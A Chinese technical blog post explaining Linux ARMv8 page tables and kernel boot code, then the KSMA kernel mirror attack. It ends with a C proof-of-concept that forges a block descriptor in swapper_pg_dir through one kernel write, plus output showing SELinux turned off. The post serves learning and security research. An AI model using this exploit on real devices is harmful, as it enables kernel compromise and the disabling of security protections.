Linux内存管理与KSMA攻击
KSMA的全称是Kernel Space Mirror Attack,即内核镜像攻击。本文主要记录对该攻击方法的原理分析以及Linux内核中相关内存管理部分。
术语
- PGD: Page Global Directory
- PUD: Page Upper Directory
- PMD: Page Middle Directory
- PTE: Page Table Entries
- TLB: Transaction Lookaside Buffer
虚拟内存vs物理内存
程序员一般都知道,CPU的寻址空间和寄存器的位数有关,在32位CPU中,寻址空间为0 ~ 2^32-1 (4GB)
,在64位中更是不得了,最大寻址空间为2^64-1= 16EB
。而我们常说的内存,即RAM的大小,通常只有几GB到几十GB,早期更是只有几百KB,所以这里所说的寻址,寻的定然不是物理地址,而是虚拟地址。
那么就引申出了一个问题,虚拟地址与物理地址的关系是什么?答案就是——MMU,即内存管理单元。当然,这个回答可能并不完全精确,因为MMU是硬件,大部分情况下,地址翻译需要硬件参与,但并不是绝对。软件和硬件的进化是不断促进的,软件可以快速将算法实现,而优秀的算法和设计又会以硬件实现来提速,业界很多例子,比如用于图像处理的GPU、深度学习芯片等。
扯远了,总之目前就是内存管理单元,或者说内存管理模块,实现虚拟地址到物理地址的转换。
注意其中的L1/L2 cache在MMU和总线之间,而L3则是在AHB总线和RAM之间,L4是在APB总线和外设之间。
操作系统与内存管理
程序员一般还知道,我们通常运行一个命令,就启动了一个进程,每个进程有自己独立的地址空间,并相互隔离,这是操作系统所要实现的一个基本功能。如果有人比较好学,那他可能还听说过,32位Linux的进程空间1GB是内核空间,3GB是用户空间。假如RAM大小是4GB,这就意味着一个进程就把所有硬件资源都占了吗?显然不太可能,毕竟其他进程也要正常工作。所以,操作系统需要有一种方法去给不同进程分配物理内存并进行管理,而且一般是动态管理。
分页与分段
为了使多个进程可以同时在有限的内存中运行,那就需要操作系统时不时将用不到的数据或者代码放在交换分区,充分利用硬件资源。换入和换出的单位可以是固定的,也可以是动态的,前者称为分页,后者称为分段。由于分页机制兼顾效率和复杂性,因此是目前最常见的内存分配方式。在Linux中,每页的大小通常是4K,这是邮件组不断测试和讨论的结果。
上图不同进程的虚拟地址空间可以分别映射到不同的物理地址,也可以映射到相同的物理地址(共享内存),也有可能存在未映射的虚拟地址和换出到磁盘的空间的地址。
页表
上面说了,物理地址会分成许多页,虚拟地址也会进行分页,一个想象出来的映射方式为,使用虚拟地址头几字节保存物理页的ID,后几字节保存物理地址在目标物理页中的偏移量。当然实际的映射方式没有这么简单,而且通常会经过多级的映射,如下所示:
上面这个图实际是x86的分页模式,页表基地址保存在cr3寄存器。虚拟地址被分割为5个部分,前4部分分别是4级页表的索引,也可以理解成页表的目录,最后1部分为虚拟地址对应实际物理地址页的偏移量。
这4级页表的缩写分别是:PGD、PUD、PMD、PTE(Page Table Entry) 物理地址除了指向RAM,还包括ROM、外设(MMIO)空间 由于页表较大,各级页表本身也是存放在虚存中的
ARMv8
上面说过,在64位CPU中,虚拟地址支持64位的寻址,但实际上以目前硬件来看根本用不了这么多,对于Linux内核而言,在ARMv8目标编译时可以指定虚拟地址的位数,使用CONFIG_ARM64_VA_BITS
参数指定,比如我当前的默认配置就是39位:
同时,也指定了页的大小为4K。虚拟地址分为用户空间和内核空间,前者高位为0,后者高位为1,因此,地址空间范围为:
- 用户空间: 0x0 ~ 0x7f ffff ffff (512GB)
- 内核空间: 0xffff ff80 0000 0000 ~ 0xffff ffff ffff ffff (512GB)
以最常见的3级页表(CONFIG_PGTABLE_LEVELS=3
)为例,虚拟地址翻译的详细过程如下:
虚拟地址[63:39]用来区分用户空间和内核空间,从而在不同的TTBR(Translation Table Base Register)寄存器中获取Level1页表基址,内核地址用TTBR1(代表EL1),用户地址用TTBR0(代表EL0)。
上图第二行为TTBR寄存器内容的表示,寄存器大小为64位,[47:12]指向Level1的页表结构体,加上Level1的偏移,完成Level1的查找。这里的Descriptor,即页表中存放的内容,其类型一共有4种,根据最低2位决定:
Table Descriptor包含下级页表地址或者Block Address。
Linux实现
上面是ARMv8所支持的页表分级策略,下面介绍在Linux内核代码中的具体实现。ARMv8支持4级页表分别是PGD->PUD->PMD->PTE,3级页表情况下,没有PGD页表;2级页表情况下,没有PGD和PUD。
从代码中看Linux的启动过程(arch/arm64/kernel/head.S):
ENTRY(stext)
bl preserve_boot_args
bl el2_setup // Drop to EL1, w20=cpu_boot_mode
adrp x24, __PHYS_OFFSET
bl set_cpu_boot_mode_flag
bl __vet_fdt
bl __create_page_tables // x25=TTBR0, x26=TTBR1
/*
* The following calls CPU setup code, see arch/arm64/mm/proc.S for
* details.
* On return, the CPU will be ready for the MMU to be turned on and
* the TCR will have been set.
*/
ldr x27, =__mmap_switched // address to jump to after
// MMU has been enabled
adr_l lr, __enable_mmu // return (PIC) address
b __cpu_setup // initialise processor
ENDPROC(stext)
创建页表
/*
* Setup the initial page tables. We only setup the barest amount which is
* required to get the kernel running. The following sections are required:
* - identity mapping to enable the MMU (low address, TTBR0)
* - first few MB of the kernel linear mapping to jump to once the MMU has
* been enabled, including the FDT blob (TTBR1)
* - pgd entry for fixed mappings (TTBR1)
*/
__create_page_tables:
adrp x25, idmap_pg_dir
adrp x26, swapper_pg_dir
mov x27, lr
// ...
mov lr, x27
ret
ENDPROC(__create_page_tables)
代码太长就不粘贴了,简要介绍创建页表的过程,首先初始化x25和x26的值。在MMU启动过程中,前者作为TTBR0,后者是TTBR1。idmap,即identity map,表示物理地址和虚拟地址是一致的映射关系,这是为了保证MMU开启前后代码在临界区的正确性。swapper_pg_dir是一级页表PGD的地址。
创建页表的过程主要涉及到3个宏,下面分别介绍。
create_table_entry
/*
* Macro to create a table entry to the next page.
*
* tbl: page table address
* virt: virtual address
* shift: #imm page table shift
* ptrs: #imm pointers per table page
*
* Preserves: virt
* Corrupts: tmp1, tmp2
* Returns: tbl -> next level table page address
*/
.macro create_table_entry, tbl, virt, shift, ptrs, tmp1, tmp2
lsr \tmp1, \virt, #\shift
and \tmp1, \tmp1, #\ptrs - 1 // table index
add \tmp2, \tbl, #PAGE_SIZE
orr \tmp2, \tmp2, #PMD_TYPE_TABLE // address of next table and entry type
str \tmp2, [\tbl, \tmp1, lsl #3]
add \tbl, \tbl, #PAGE_SIZE // next level table page (注:因此连续两次调用所创建的列表是连续的)
.endm
其作用是创建页表项,完成后tbl地址修改为下一级的页表地址。
create_pgd_entry
/*
* Macro to populate the PGD (and possibily PUD) for the corresponding
* block entry in the next level (tbl) for the given virtual address.
*
* Preserves: tbl, next, virt
* Corrupts: tmp1, tmp2
*/
.macro create_pgd_entry, tbl, virt, tmp1, tmp2
create_table_entry \tbl, \virt, PGDIR_SHIFT, PTRS_PER_PGD, \tmp1, \tmp2
#if SWAPPER_PGTABLE_LEVELS == 3
create_table_entry \tbl, \virt, SWAPPER_TABLE_SHIFT, PTRS_PER_PTE, \tmp1, \tmp2
#endif
.endm
根据页表级别数目创建PGD。3级页表情况下还会创建PMD,由于create_table_entry的特性,这两个页表地址是连续的,相隔PAGE_SIZE。
create_block_map
创建虚拟地址到物理地址的映射,映射区域为虚拟地址[start, end]:
/*
* Macro to populate block entries in the page table for the start..end
* virtual range (inclusive).
*
* Preserves: tbl, flags
* Corrupts: phys, start, end, pstate
*/
.macro create_block_map, tbl, flags, phys, start, end
lsr \phys, \phys, #SWAPPER_BLOCK_SHIFT
lsr \start, \start, #SWAPPER_BLOCK_SHIFT
and \start, \start, #PTRS_PER_PTE - 1 // table index
orr \phys, \flags, \phys, lsl #SWAPPER_BLOCK_SHIFT // table entry
lsr \end, \end, #SWAPPER_BLOCK_SHIFT
and \end, \end, #PTRS_PER_PTE - 1 // table end index
9999: str \phys, [\tbl, \start, lsl #3] // store the entry
add \start, \start, #1 // next entry
add \phys, \phys, #SWAPPER_BLOCK_SIZE // next block
cmp \start, \end
b.ls 9999b
.endm
MMU
开启MMU代码如下,msr汇编指令表示将通用寄存器的值存放到协处理器系统寄存器中:
/*
* Enable the MMU.
*
* x0 = SCTLR_EL1 value for turning on the MMU.
* x27 = *virtual* address to jump to upon completion
*
* other registers depend on the function called upon completion
*/
__enable_mmu:
ldr x5, =vectors
msr vbar_el1, x5
msr ttbr0_el1, x25 // load TTBR0
msr ttbr1_el1, x26 // load TTBR1
isb
msr sctlr_el1, x0
isb
/*
* Invalidate the local I-cache so that any instructions fetched
* speculatively from the PoC are discarded, since they may have
* been dynamically patched at the PoU.
*/
ic iallu
dsb nsh
isb
br x27
ENDPROC(__enable_mmu)
KSMA
了解了上述基本概念,再来看看KSMA就很简单了。KSMA为Kernel-Space-Mirror-Attack,基于一次内核写漏洞,修改页表(描述符)实现物理地址的重新映射,从而实现任意内核地址读写原语。
操作系统的PGD分为两个部分,一部分是内核PGD,保存在swapper_pg_dir中(TTBR1),用户PGD则独立存放。上面介绍了Table Descriptor,有四种类型(简称TD),一个TD为64字节。不同类型的TD包含不同的内容,但主要有3种:
- 下一级页表的地址(D_Table)
- 指定内存区域(D_Block)
- 指定页表 (D_Page)
以一个实际的虚拟地址0xffffffc000175770
为例,在三级页表下的查找过程为:
-------------------------x--------x--------x--------x-----------
1111111111111111111111111100000000000000000101110101011101110000
- 根据高位地址判断该地址在内核空间,因此使用TTBR1
- index0 = bits[n:39],不使用0级页表
- index1 = bits[38:30] = 0x100
- index2 = bits[29:21] = 0x0
- index3 = bits[20:12] = 0x175
- offset = bits[11:0] = 0x770
对于KSMA攻击而言,我们需要关注的是D_Block类型:
对于我们的配置,页大小为4K,所以bits[47:30]代表output address,即所映射的物理地址对应位的值。其中Block类型的Lower Attribute中包含了Block地址的读写属性:
AP[2:1]即bits[7:6]的取值所代表的读写属性如下:
KMSA的原理是,通过一次内核写,在特定地址伪造D_Block,伪造的结果是令我们可以在一块新的虚拟地址上(再次)映射内核物理地址。考虑一个如下的经典memory layout:
AArch64 Linux memory layout with 4KB pages:
Start End Size Use
-----------------------------------------------------------------------
0000000000000000 0000007fffffffff 512GB user
ffffff8000000000 ffffffbbfffeffff ~240GB vmalloc
ffffffbbffff0000 ffffffbbffffffff 64KB [guard page]
ffffffbc00000000 ffffffbdffffffff 8GB vmemmap
ffffffbe00000000 ffffffbffbbfffff ~8GB [guard, future vmmemap]
ffffffbffa000000 ffffffbffaffffff 16MB PCI I/O space
ffffffbffb000000 ffffffbffbbfffff 12MB [guard]
ffffffbffbc00000 ffffffbffbdfffff 2MB fixed mappings
ffffffbffbe00000 ffffffbffbffffff 2MB [guard]
ffffffbffc000000 ffffffbfffffffff 64MB modules
ffffffc000000000 ffffffffffffffff 256GB kernel logical memory map
内核镜像映射到0xffffffc000000000
,起始地址一般是0xffffffc000080000
。size是256GB,但实际上一般只用了1G左右,其余部分没有物理地址映射,因此访问会产生段错误,我们可以利用这些虚拟地址去映射内核物理地址,假设映射从va=0xffffffc200000000
开始,则:
- 一级页表index1的值为:va[38:31] = (va & 0x0000007fc0000000) » 30 = 0x108
- D_Block地址(即Table Descriptor地址)为:pgd[index1] = swapper_pg_dir + index1 * 8
我们直接令一级页表返回D_Block,而不是常规的返回包含二级页表地址的D_Table。
实现
要实现KSMA攻击,首先需要初始化一个新的映射关系。指定一片未被使用的虚拟地址空间为mirror_base,令其映射到内核加载虚拟地址对应的物理地址页kernel_phys
。保存在memstart_addr
。
memstart_addr在arch/arm64/kernel/head.S
定义为#define __PHYS_OFFSET (KERNEL_START - TEXT_OFFSET)
,KERNEL_START为_text
的地址(ffffffc000080000),TEXT_OFFSET的定义如下:
arch/arm64/Makefile:
# The byte offset of the kernel image in RAM from the start of RAM.
ifeq ($(CONFIG_ARM64_RANDOMIZE_TEXT_OFFSET), y)
TEXT_OFFSET := $(shell awk 'BEGIN {srand(); printf "0x%03x000\n", int(512 * rand())}')
else
TEXT_OFFSET := 0x00080000
endif
为内核镜像在RAM中相对于RAM起始地址的偏移,可以理解为物理地址。因此,在KASLR关闭的情况下,memstart_addr即为内核加载地址(ffffffc000000000)对应的物理地址值:
pwndbg> p/x memstart_addr
$2 = 0x40000000
内核加载虚拟地址也可以参考下面的memory处:
Memory: 2055232K/2097152K available (5455K kernel code, 326K rwdata, 1872K rodata, 232K init, 482K bss, 41920K reserved)
Virtual kernel memory layout:
vmalloc : 0xffffff8000000000 - 0xffffffbdffff0000 ( 247 GB)
vmemmap : 0xffffffbe00000000 - 0xffffffbfc0000000 ( 7 GB maximum)
0xffffffbe00000000 - 0xffffffbe01c00000 ( 28 MB actual)
PCI I/O : 0xffffffbffa000000 - 0xffffffbffb000000 ( 16 MB)
fixed : 0xffffffbffbdfd000 - 0xffffffbffbdff000 ( 8 KB)
modules : 0xffffffbffc000000 - 0xffffffc000000000 ( 64 MB)
memory : 0xffffffc000000000 - 0xffffffc080000000 ( 2048 MB)
.init : 0xffffffc0007b0000 - 0xffffffc0007ea000 ( 232 KB)
.text : 0xffffffc000080000 - 0xffffffc0005d5c70 ( 5464 KB)
.data : 0xffffffc0007fa000 - 0xffffffc00084ba00 ( 327 KB)
POC
初始化内核镜像,即修改伪造Table Descriptor的过程如下,pz_write是一次写原语:
void init_mirror(uintptr_t kernel_phys, uintptr_t mirror_base, int fd) {
/* one kernel write primitive to grant new mirror virtual space
* 1. calculate d_block_addr
* 2. prepare d_block (int64)
* 3. write d_block to d_block_addr
* */
uintptr_t d_block_addr;
uintptr_t d_block;
int index1 = (mirror_base & 0x0000007fc0000000) >> 30; // bits[39:31]
d_block_addr = SYMBOL__swapper_pg_dir + index1 * 8; // target Table Descriptor Address
pz_log("descriptor: 0x%lx + %d x 8 = 0x%lx", SYMBOL__swapper_pg_dir, index1, d_block_addr);
d_block = 0;
d_block |= 0x1 ; // Block entry
/* Lower attributes */
d_block |= (1u << 11); // bits[11], nG
d_block |= (1u << 10); // bits[10], AF
d_block |= (1u << 9); // bits[9], SH[1]
d_block |= 0x40; // bits[7:6], AP[2:1] = 01
d_block |= 0x20; // bits[5], NS
d_block |= 0x10; // bits[2:0], AttrIndx[2:0]
d_block |= (kernel_phys & 0x0000ffffc0000000); // bits[47:30], output address
/* Upper attributes */
d_block |= (1ul << 52); // bits[52], Contiguous
d_block |= (1ul << 53); // bits[53], PXN
d_block |= (1ul << 54); // bits[54], XN
pz_log("d_block = 0x%lx", d_block);
pz_write(fd, (void *)d_block_addr, &d_block, 8);
}
测试映射一块新的虚拟内存空间后对其进行直接写入,修改SELinux效果如下:
generic_arm64:/data/local/tmp # getenforce
Enforcing
generic_arm64:/data/local/tmp # ./test_ksma
[+] descriptor: 0xffffffc0008c8000 + 264 x 8 = 0xffffffc0008c8840
[+] d_block = 0x70000040000e71
[+] vaddr 0xffffffc00088b11c TTBR1 L0=0x1ff L1=0x100 L2=0x4 L3=0x8b OFF=0x11c
[+] vaddr 0xffffffc20088b11c TTBR1 L0=0x1ff L1=0x108 L2=0x4 L3=0x8b OFF=0x11c
[+] addr 0xffffffc00088b11c --> 0x100000001
[+] mirror 0xffffffc20088b11c --> 0x100000001
[+] directly write mirror
[+] addr 0xffffffc00088b11c --> 0x100000000
[+] mirror 0xffffffc20088b11c --> 0x100000000
generic_arm64:/data/local/tmp # getenforce
Permissive